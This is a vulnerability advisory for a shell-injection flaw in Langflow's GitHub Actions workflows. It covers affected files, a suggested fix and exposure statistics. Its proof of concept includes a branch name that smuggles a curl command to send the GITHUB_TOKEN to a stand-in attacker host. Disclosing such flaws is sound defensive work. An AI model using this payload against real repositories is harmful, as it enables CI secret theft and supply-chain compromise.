CVE-2026-33475 Details
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

### Details

Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:

```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Or:

```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

### PoC

1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```

6. The attacker receives the CI secret via the exfil URL.

---

### Impact

- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

---

### Suggested Fix

Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:

```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```

Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.

---

### Affected Files (Langflow `1.3.4`)

- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
View at NVD
Exploit prediction scoring system (EPSS) score for CVE-2026-33475
EPSS (Exploit Prediction Scoring System): EPSS predicts the likelihood that a vulnerability will be exploited in the wild. A higher percentage means a greater chance of an exploit occurring. The EPSS model produces a probability score between 0 and 1 (0 and 100%).
0.06 Probability of exploitation activity being observed over the next 30 days (17th percentile)
CVSS score for CVE-2026-33475
CVSS (Common Vulnerability Scoring System): An open framework owned and managed by FIRST.Org, Inc. that assigns a numerical score from 0 to 10 to software vulnerabilities to indicate their severity.
9.1 Critical
Products affected by CVE-2026-33475

CVE-2026-33475 Global Footprint

Top 10 Identified Countries

Country Observations Percentage
US 44 35.48%
GB 16 12.90%
DE 10 8.06%
CN 9 7.26%
RU 7 5.65%
BR 6 4.84%
SG 4 3.23%
CA 3 2.42%
NL 3 2.42%
FR 3 2.42%

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CVE-2026-33475 Industry Footprint

Top 10 Identified Industries

*Service provider organizations (typically Technology and Telecommunications) are disproportionally represented in the results given their upstream ownership of end-user infrastructure. See our FAQs.

Industry* Observations Percentage
Technology 97 95.10%
Telecommunications 4 3.92%
Finance 1 0.98%

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